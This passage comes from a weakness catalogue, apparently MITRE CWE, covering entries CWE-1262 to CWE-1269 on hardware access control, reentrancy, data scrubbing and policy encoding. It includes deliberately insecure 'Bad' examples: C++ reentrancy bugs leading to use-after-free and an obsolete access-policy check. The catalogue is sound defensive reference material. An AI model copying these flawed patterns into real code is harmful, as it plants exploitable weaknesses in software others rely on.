Registers controlling hardware should have access control implemented. This access control may be checked manually for correct implementation. Items to check consist of how are trusted parties set, how are trusted parties verified, how are accesses verified, etc. Effectiveness of a manual analysis will vary depending upon how complicated the interface is constructed.

*Effectiveness = Moderate*

### Simulation / Emulation

Functional simulation is applicable during the Implementation Phase. Testcases must be created and executed for memory mapped registers to verify adherence to the access control policy. This method can be effective, since functional verification needs to be performed on the design, and verification for this weakness will be included. There can be difficulty covering the entire memory space during the test.

*Effectiveness = Moderate*

### Formal Verification

Formal verification is applicable during the Implementation phase. Assertions need to be created in order to capture illegal register access scenarios and prove that they cannot occur. Formal methods are exhaustive and can be very effective, but creating the cases for large designs may be complex and difficult.

*Effectiveness = High*

### Automated Analysis

Information flow tracking can be applicable during the Implementation phase. Security sensitive data (assets) - for example, as stored in registers - is automatically tracked over time through the design to verify the data doesn't reach illegal destinations that violate the access policies for the memory map. This method can be very effective when used together with simulation and emulation, since detecting violations doesn't rely on specific scenarios or data values. This method does rely on simulation and emulation, so testcases must exist in order to use this method.

*Effectiveness = High*

### Architecture or Design Review

Manual documentation review of the system memory map, register specification, and permissions associated with accessing security-relevant functionality exposed via memory-mapped registers.

*Effectiveness = Moderate*

### Fuzzing

Perform penetration testing (either manual or semi-automated with fuzzing) to verify that access control mechanisms such as the memory protection units or on-chip bus firewall settings adequately protect critical hardware registers from software access.

*Effectiveness = Moderate*

### Potential Mitigations

#### Phase: Architecture and Design

Design proper policies for hardware register access from software.

#### Phase: Implementation

Ensure that access control policies for register access are implemented in accordance with the specified design.

### Demonstrative Examples

#### Example 1:

The register interface provides software access to hardware functionality. This functionality is an attack surface. This attack surface may be used to run untrusted code on the system through the register interface. As an example, cryptographic accelerators require a mechanism for software to select modes of operation and to provide plaintext or ciphertext data to be encrypted or decrypted as well as other functions. This functionality is commonly provided through registers.

*Example Language:*

*(Bad)*

Cryptographic key material stored in registers inside the cryptographic accelerator can be accessed by software.

*Example Language:*

*(Good)*

Key material stored in registers should never be accessible to software. Even if software can provide a key, all read-back paths to software should be disabled.

### Observed Examples

Reference	Description
<b>CVE-2014-2915</b>	virtualization product does not restrict access to debug and other processor registers in the hardware, allowing a crash of the host or guest OS <a href="https://www.cve.org/CVERecord?id=CVE-2014-2915">https://www.cve.org/CVERecord?id=CVE-2014-2915</a>



Reference	Description
<b>CVE-2021-3011</b>	virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code <a href="https://www.cve.org/CVERecord?id=CVE-2021-3011">https://www.cve.org/CVERecord?id=CVE-2021-3011</a>
<b>CVE-2020-12446</b>	Driver exposes access to Model Specific Register (MSR) registers, allowing admin privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2020-12446">https://www.cve.org/CVERecord?id=CVE-2020-12446</a>
<b>CVE-2015-2150</b>	Virtualization product does not restrict access to PCI command registers, allowing host crash from the guest. <a href="https://www.cve.org/CVERecord?id=CVE-2015-2150">https://www.cve.org/CVERecord?id=CVE-2015-2150</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
680	Exploitation of Improperly Controlled Registers

## CWE-1263: Improper Physical Access Control

**Weakness ID :** 1263

**Structure :** Simple

**Abstraction :** Class

### Description

The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas.

### Extended Description

Sections of a product intended to have restricted access may be inadvertently or intentionally rendered accessible when the implemented physical protections are insufficient. The specific requirements around how robust the design of the physical protection mechanism needs to be depends on the type of product being protected. Selecting the correct physical protection mechanism and properly enforcing it through implementation and manufacturing are critical to the overall physical security of the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	ⓑ	1243	Sensitive Non-Volatile Information Not Protected During Debug	1878
PeerOf	ⓑ	1191	On-Chip Debug and Test Interface With Improper Access Control	1833

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Varies by Context	

## Potential Mitigations

### Phase: Architecture and Design

Specific protection requirements depend strongly on contextual factors including the level of acceptable risk associated with compromise to the product's protection mechanism. Designers could incorporate anti-tampering measures that protect against or detect when the product has been tampered with.

### Phase: Testing

The testing phase of the lifecycle should establish a method for determining whether the protection mechanism is sufficient to prevent unauthorized access.

### Phase: Manufacturing

Ensure that all protection mechanisms are fully activated at the time of manufacturing and distribution.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1208	Cross-Cutting Problems	1194	2268

## Notes

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
401	Physically Hacking Hardware

## CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels

**Weakness ID** : 1264

**Structure** : Simple

**Abstraction** : Base

## Description

The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete.

## Extended Description

Many high-performance on-chip bus protocols and processor data-paths employ separate channels for control and data to increase parallelism and maximize throughput. Bugs in the hardware logic that handle errors and security checks can make it possible for data to be forwarded before the completion of the security checks. If the data can propagate to a location in the hardware observable to an attacker, loss of data confidentiality can occur. 'Meltdown' is a concrete example of how de-synchronization between data and permissions checking logic can violate confidentiality requirements. Data loaded from a page marked as privileged was returned to the cpu regardless of current privilege level for performance reasons. The assumption was that the cpu could later remove all traces of this data during the handling of the illegal memory access exception, but this assumption was proven false as traces of the secret data were not removed from the microarchitectural state.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	821	Incorrect Synchronization	1603
PeerOf	B	1037	Processor Optimization Removal or Modification of Security-critical Code	1736

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

## Potential Mitigations

**Phase: Architecture and Design**

Thoroughly verify the data routing logic to ensure that any error handling or security checks effectively block illegal dataflows.

## Demonstrative Examples

**Example 1:**

There are several standard on-chip bus protocols used in modern SoCs to allow communication between components. There are a wide variety of commercially available hardware IP implementing the interconnect logic for these protocols. A bus connects components which initiate/request communications such as processors and DMA controllers (bus masters) with peripherals which respond to requests. In a typical system, the privilege level or security designation of the bus master along with the intended functionality of each peripheral determine the security

policy specifying which specific bus masters can access specific peripherals. This security policy (commonly referred to as a bus firewall) can be enforced using separate IP/logic from the actual interconnect responsible for the data routing.

*Example Language: Other*

*(Bad)*

The firewall and data routing logic becomes de-synchronized due to a hardware logic bug allowing components that should not be allowed to communicate to share data. For example, consider an SoC with two processors. One is being used as a root of trust and can access a cryptographic key storage peripheral. The other processor (application cpu) may run potentially untrusted code and should not access the key store. If the application cpu can issue a read request to the key store which is not blocked due to de-synchronization of data routing and the bus firewall, disclosure of cryptographic keys is possible.

*Example Language: Other*

*(Good)*

All data is correctly buffered inside the interconnect until the firewall has determined that the endpoint is allowed to receive the data.

## Observed Examples

Reference	Description
<b>CVE-2017-5754</b>	Systems with microprocessors utilizing speculative execution and indirect branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis of the data cache. <a href="https://www.cve.org/CVERecord?id=CVE-2017-5754">https://www.cve.org/CVERecord?id=CVE-2017-5754</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1196	Security Flow Issues	1194	2262

## Notes

### Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. As a result, this entry might change significantly in CWE 4.10.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
233	Privilege Escalation
663	Exploitation of Transient Instruction Execution

## CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls

**Weakness ID** : 1265

**Structure** : Simple

**Abstraction** : Base

### Description

During execution of non-reentrant code, the product performs a call that unintentionally produces a nested invocation of the non-reentrant code.

### Extended Description

1926

In a complex product, a single function call may lead to many different possible code paths, some of which may involve deeply nested calls. It may be difficult to foresee all possible code paths that could emanate from a given function call. In some systems, an external actor can manipulate inputs to the system and thereby achieve a wide range of possible control flows. This is frequently a concern in products that execute scripts from untrusted sources. Examples of such products are web browsers and PDF readers. A weakness is present when one of the possible code paths resulting from a function call alters program state that the original caller assumes to be unchanged during the call.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
PeerOf	ⓑ	663	Use of a Non-reentrant Function in a Concurrent Context	1365
CanPrecede	Ⓥ	416	Use After Free	958

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	371	State Issues	2114

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	Unknown
<p><i>Exploitation of this weakness can leave the application in an unexpected state and cause variables to be reassigned before the first invocation has completed. This may eventually result in memory corruption or unexpected code execution.</i></p>		

## Potential Mitigations

### Phase: Architecture and Design

When architecting a system that will execute untrusted code in response to events, consider executing the untrusted event handlers asynchronously (asynchronous message passing) as opposed to executing them synchronously at the time each event fires. The untrusted code should execute at the start of the next iteration of the thread's message loop. In this way, calls into non-reentrant code are strictly serialized, so that each operation completes fully before the next operation begins. Special attention must be paid to all places where type coercion may result in script execution. Performing all needed coercions at the very beginning of an operation can help reduce the chance of operations executing at unexpected junctures.

*Effectiveness = High*

### Phase: Implementation

Make sure the code (e.g., function or class) in question is reentrant by not leveraging non-local data, not modifying its own code, and not calling other non-reentrant code.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

The implementation of the Widget class in the following C++ code is an example of code that is not designed to be reentrant. If an invocation of a method of Widget inadvertently produces a second nested invocation of a method of Widget, then data member backgroundImage may unexpectedly change during execution of the outer call.

*Example Language: C++*

*(Bad)*

```
class Widget
{
private:
    Image* backgroundImage;
public:
    void click()
    {
        if (backgroundImage)
        {
            backgroundImage->click();
        }
    }
    void changeBackgroundImage(Image* newImage)
    {
        if (backgroundImage)
        {
            delete backgroundImage;
        }
        backgroundImage = newImage;
    }
}
class Image
{
public:
    void click()
    {
        scriptEngine->fireOnImageClick();
        /* perform some operations using "this" pointer */
    }
}
```

Looking closer at this example, `Widget::click()` calls `backgroundImage->click()`, which in turn calls `scriptEngine->fireOnImageClick()`. The code within `fireOnImageClick()` invokes the appropriate script handler routine as defined by the document being rendered. In this scenario this script routine is supplied by an adversary and this malicious script makes a call to `Widget::changeBackgroundImage()`, deleting the Image object pointed to by `backgroundImage`. When control returns to `Image::click`, the function's `backgroundImage` "this" pointer (which is the former value of `backgroundImage`) is a dangling pointer. The root of this weakness is that while one operation on `Widget` (`click`) is in the midst of executing, a second operation on the `Widget` object may be invoked (in this case, the second invocation is a call to different method, namely `changeBackgroundImage`) that modifies the non-local variable.

### Example 2:

This is another example of C++ code that is not designed to be reentrant.

*Example Language: C++*

*(Bad)*

```
class Request
{
```

```

private:
    std::string uri;
    /* ... */
public:
    void setup(ScriptObject* _uri)
    {
        this->uri = scriptEngine->coerceToString(_uri);
        /* ... */
    }
    void send(ScriptObject* _data)
    {
        Credentials credentials = GetCredentials(uri);
        std::string data = scriptEngine->coerceToString(_data);
        doSend(uri, credentials, data);
    }
}

```

The expected order of operations is a call to `Request::setup()`, followed by a call to `Request::send()`. `Request::send()` calls `scriptEngine->coerceToString(_data)` to coerce a script-provided parameter into a string. This operation may produce script execution. For example, if the script language is ECMAScript, arbitrary script execution may result if `_data` is an adversary-supplied ECMAScript object having a custom `toString` method. If the adversary's script makes a new call to `Request::setup`, then when control returns to `Request::send`, the field `uri` and the local variable `credentials` will no longer be consistent with one another. As a result, credentials for one resource will be shared improperly with a different resource. The root of this weakness is that while one operation on `Request` (`send`) is in the midst of executing, a second operation may be invoked (`setup`).

### Observed Examples

Reference	Description
<b>CVE-2014-1772</b>	In this vulnerability, by registering a malicious onerror handler, an adversary can produce unexpected re-entrance of a <code>CDOMRange</code> object. [REF-1098] <a href="https://www.cve.org/CVERecord?id=CVE-2014-1772">https://www.cve.org/CVERecord?id=CVE-2014-1772</a>
<b>CVE-2018-8174</b>	This CVE covers several vulnerable scenarios enabled by abuse of the <code>Class_Terminate</code> feature in Microsoft VBScript. In one scenario, <code>Class_Terminate</code> is used to produce an undesirable re-entrance of <code>ScriptingDictionary</code> during execution of that object's destructor. In another scenario, a vulnerable condition results from a recursive entrance of a property setter method. This recursive invocation produces a second, spurious call to the <code>Release</code> method of a reference-counted object, causing a UAF when that object is freed prematurely. This vulnerability pattern has been popularized as "Double Kill". [REF-1099] <a href="https://www.cve.org/CVERecord?id=CVE-2018-8174">https://www.cve.org/CVERecord?id=CVE-2018-8174</a>

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
74	Manipulating State

### References

[REF-1098]Jack Tang. "Root Cause Analysis of CVE-2014-1772 - An Internet Explorer Use After Free Vulnerability". 2014 November 5. < <https://blog.trendmicro.com/trendlabs-security-intelligence/root-cause-analysis-of-cve-2014-1772-an-internet-explorer-use-after-free-vulnerability/> >.

[REF-1099]Simon Zuckerbraun. "It's Time To Terminate The Terminator". 2018 May 5. < <https://www.zerodayinitiative.com/blog/2018/5/15/its-time-to-terminate-the-terminator> >.



## CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device

**Weakness ID** : 1266

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned. A scrubbing capability could be missing, insufficient, or incorrect.

### Extended Description

When a product is decommissioned - i.e., taken out of service - best practices or regulatory requirements may require the administrator to remove or overwrite sensitive data first, i.e. "scrubbing." Improper scrubbing of sensitive data from a decommissioned device leaves that data vulnerable to acquisition by a malicious actor. Sensitive data may include, but is not limited to, device/manufacture proprietary information, user/device credentials, network configurations, and other forms of sensitive data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

### Potential Mitigations

#### Phase: Architecture and Design

Functionality to completely scrub data from a product at the conclusion of its lifecycle should be part of the design phase. Trying to add this function on top of an existing architecture could lead to incomplete removal of sensitive information/data.

#### Phase: Policy

The manufacturer should describe the location(s) where sensitive data is stored and the policies and procedures for its removal. This information may be conveyed, for example, in an Administrators Guide or a Statement of Volatility.

#### Phase: Implementation

If the capability to wipe sensitive data isn't built-in, the manufacturer may need to provide a utility to scrub sensitive data from storage if that data is located in a place which is non-accessible by

the administrator. One example of this could be when sensitive data is stored on an EEPROM for which there is no user/admin interface provided by the system.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2262

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
150	Collect Data from Common Resource Locations
545	Pull Data from System Resources
546	Incomplete Data Deletion in a Multi-Tenant Environment
675	Retrieve Data from Decommissioned Devices

### References

[REF-1080]Christopher Tarnovsky. "Security Failures in Secure Devices". < <https://www.blackhat.com/presentations/bh-europe-08/Tarnovsky/Presentation/bh-eu-08-tarnovsky.pdf> >.

## CWE-1267: Policy Uses Obsolete Encoding

**Weakness ID :** 1267

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses an obsolete encoding mechanism to implement access controls.

### Extended Description

Within a System-On-a-Chip (SoC), various circuits and hardware engines generate transactions for the purpose of accessing (read/write) assets or performing various actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (identifying the originator of the transaction) and a destination identity (routing the transaction to the respective entity). Sometimes the transactions are qualified with a Security Token. This Security Token helps the destination agent decide on the set of allowed actions (e.g., access to an asset for reads and writes). A policy encoder is used to map the bus transactions to Security Tokens that in turn are used as access-controls/protection mechanisms. A common weakness involves using an encoding which is no longer trusted, i.e., an obsolete encoding.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

### Applicable Platforms

- Language** : Not Language-Specific (*Prevalence = Undetermined*)
- Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)
- Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)
- Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	Modify Files or Directories	
Access Control	Read Files or Directories	
	DoS: Resource Consumption (Other)	
	Execute Unauthorized Code or Commands	
	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	
	Reduce Reliability	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

Security Token Decoders should be reviewed for design inconsistency and common weaknesses. Access and programming flows should be tested in both pre-silicon and post-silicon testing.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

For example, consider a system that has four bus masters. The table below provides bus masters, their Security Tokens, and trust assumptions.

The policy encoding is to be defined such that Security Token will be used in implemented access-controls. The bits in the bus transaction that contain Security-Token information are Bus\_transaction [15:11]. The assets are the AES-Key registers for encryption or decryption. The key of 128 bits is implemented as a set of four, 32-bit registers.

Below is an example of a policy encoding scheme inherited from a previous project where all "ODD" numbered Security Tokens are trusted.

*Example Language:*

*(Bad)*

```

If (Bus_transaction[14] == "1")
  Trusted = "1"
Else
  Trusted = "0"
If (trusted)
  Allow access to AES-Key registers
Else
  Deny access to AES-Key registers
  
```

The inherited policy encoding is obsolete and does not work for the new system where an untrusted bus master with an odd Security Token exists in the system, i.e., Master\_3 whose Security Token is "11". Based on the old policy, the untrusted bus master (Master\_3) has access to the AES-Key registers. To resolve this, a register AES\_KEY\_ACCESS\_POLICY can be defined to provide necessary, access controls:

New Policy:

The AES\_KEY\_ACCESS\_POLICY register defines which agents with a Security Token in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a Security Token. There could be a maximum of 32 security Tokens that are allowed access to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent. Thus, any bus master with Security Token "01" is allowed access to the AES-Key registers. Below is the Pseudo Code for policy encoding:

Example Language:

(Good)

```
Security-Token[4:0] = Bus_transaction[15:11]
If (AES_KEY_ACCESS_POLICY[Security-Token] == "1")
    Allow access to AES-Key registers
Else
    Deny access to AES-Key registers
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1198	Privilege Separation and Access Control Issues	1194	2263

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
681	Exploitation of Improperly Controlled Hardware Security Identifiers

## References

[REF-1093]Brandon Hill. "Huge Intel CPU Bug Allegedly Causes Kernel Memory Vulnerability With Up To 30% Performance Hit In Windows And Linux". 2018 January 2. < <https://hothardware.com/news/intel-cpu-bug-kernel-memory-isolation-linux-windows-macos> >.

## CWE-1268: Policy Privileges are not Assigned Consistently Between Control and Data Agents

**Weakness ID** : 1268

**Structure** : Simple

**Abstraction** : Base

### Description

The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies.

### Extended Description

Integrated circuits and hardware engines may provide access to resources (device-configuration, encryption keys, etc.) belonging to trusted firmware or software modules (commonly set by a BIOS

or a bootloader). These accesses are typically controlled and limited by the hardware. Hardware design access control is sometimes implemented using a policy. A policy defines which entity or agent may or may not be allowed to perform an action. When a system implements multiple levels of policies, a control policy may allow direct access to a resource as well as changes to the policies themselves.

Resources that include agents in their control policy but not in their write policy could unintentionally allow an untrusted agent to insert itself in the write policy register. Inclusion in the write policy register could allow a malicious or misbehaving agent write access to resources. This action could result in security compromises including leaked information, leaked encryption keys, or modification of device configuration.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	[P]	284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	DoS: Crash, Exit, or Restart	
Access Control	Execute Unauthorized Code or Commands	
	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	
	Read Files or Directories	
	Reduce Reliability	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Access-control-policy definition and programming flow must be sufficiently tested in pre-silicon and post-silicon testing.

## Demonstrative Examples

**Example 1:**

Consider a system of seven registers for storing and configuring an AES key for encryption or decryption.

Four 32-bit registers are used to store a 128-bit AES key. The names of those registers are AES\_ENC\_DEC\_KEY\_0, AES\_ENC\_DEC\_KEY\_1, AES\_ENC\_DEC\_KEY\_2, and AES\_ENC\_DEC\_KEY\_3. Collectively these are referred to as the AES Key registers.

Three 32-bit registers are used to define access control for the AES-key registers. The names of those registers are AES\_KEY\_CONTROL\_POLICY, AES\_KEY\_READ\_POLICY, and AES\_KEY\_WRITE\_POLICY. Collectively these registers are referred to as the Policy registers, and their functions are explained next.

- The AES\_KEY\_CONTROL\_POLICY register defines which agents can write to the AES\_KEY\_READ\_POLICY or AES\_KEY\_WRITE\_POLICY registers.
- The AES\_KEY\_READ\_POLICY register defines which agents can read the AES-key registers.
- The AES\_KEY\_WRITE\_POLICY register defines which agents can write the AES key registers.

The preceding three policy registers encode access control at the bit level. Therefore a maximum of 32 agents can be defined (1 bit per agent). The value of the bit when set (i.e., "1") allows the respective action from an agent whose identity corresponds to the number of the bit. If clear (i.e., "0"), it disallows the respective action to that corresponding agent. For example, if bit 0 is set to "1" in the AES\_KEY\_READ\_POLICY register, then agent 0 has permission to read the AES-key registers.

Consider that there are 4 agents named Agent 1, Agent 2, Agent 3, and Agent 4. For access control purposes Agent 1 is assigned to bit 1, Agent 2 to bit 2, Agent 3 to bit 3, and Agent 4 to bit 4. All agents are trusted except for Agent 3 who is untrusted. Also consider the register values in the below table.

*Example Language:*

*(Bad)*

The AES\_KEY\_CONTROL\_POLICY register value is 0x00000018. In binary, the lower 8 bits will be 0001 1000, meaning that:

- Bits 3 and 4 are set, thus Agents 3 and 4 will have write access to AES\_KEY\_READ\_POLICY or AES\_KEY\_WRITE\_POLICY.
- All other bits are clear, hence agents other than 3 and 4 will not have access to write to AES\_KEY\_READ\_POLICY or AES\_KEY\_WRITE\_POLICY.

The AES\_KEY\_READ\_POLICY register value is 0x00000002. In binary, the lower 8 bits will be 0000 0010, meaning that:

- Bit 1 is set, thus Agent 1 will be able to read the AES key registers.

The AES\_KEY\_WRITE\_POLICY register value is 0x00000004. In binary, the lower 8 bits will be 0000 0100, meaning that:

- Bit 2 is set, thus Agent 2 will be able to write the AES Key registers.

The configured access control policy for Agents 1,2,3,4 is summarized in table below.

At this point Agents 3 and 4 can only configure which agents can read AES keys and which agents can write AES keys. Agents 3 and 4 cannot read or write AES keys - just configure access control.

Now, recall Agent 3 is untrusted. As explained above, the value of the AES\_KEY\_CONTROL\_POLICY register gives agent 3 access to write to the AES\_KEY\_WRITE\_POLICY register. Agent 3 can use this write access to add themselves to

the AES\_KEY\_WRITE\_POLICY register. This is accomplished by Agent 3 writing the value 0x00000006. In binary, the lower 8 bits are 0000 0110, meaning that bit 3 will be set. Thus, giving Agent 3 having the ability to write to the AES Key registers.

If the AES\_KEY\_CONTROL\_POLICY register value is 0x00000010, the lower 8 bits will be 0001 0000. This will give Agent 4, a trusted agent, write access to AES\_KEY\_WRITE\_POLICY, but Agent 3, who is untrusted, will not have write access. The Policy register values should therefore be as follows:

*Example Language:*

*(Good)*

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

## Notes

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
180	Exploiting Incorrectly Configured Access Control Security Levels

## CWE-1269: Product Released in Non-Release Configuration

**Weakness ID :** 1269

**Structure :** Simple

**Abstraction :** Base

## Description

The product released to market is released in pre-production or manufacturing configuration.

## Extended Description

Products in the pre-production or manufacturing stages are configured to have many debug hooks and debug capabilities, including but not limited to:

- Ability to override/bypass various cryptographic checks (including authentication, authorization, and integrity)
- Ability to read/write/modify/dump internal state (including registers and memory)
- Ability to change system configurations
- Ability to run hidden or private commands that are not allowed during production (as they expose IP).

The above is by no means an exhaustive list, but it alludes to the greater capability and the greater state of vulnerability of a product during its preproduction or manufacturing state.

Complexity increases when multiple parties are involved in executing the tests before the final production version. For example, a chipmaker might fabricate a chip and run its own preproduction tests, following which the chip would be delivered to the Original Equipment Manufacturer (OEM), who would now run a second set of different preproduction tests on the same chip. Only after both



of these sets of activities are complete, can the overall manufacturing phase be called "complete" and have the "Manufacturing Complete" fuse blown. However, if the OEM forgets to blow the Manufacturing Complete fuse, then the system remains in the manufacturing stage, rendering the system both exposed and vulnerable.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

## Applicable Platforms

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : Compiled (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Other (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Other	High

## Potential Mitigations

### Phase: Implementation

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

### Phase: Integration

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

### Phase: Manufacturing

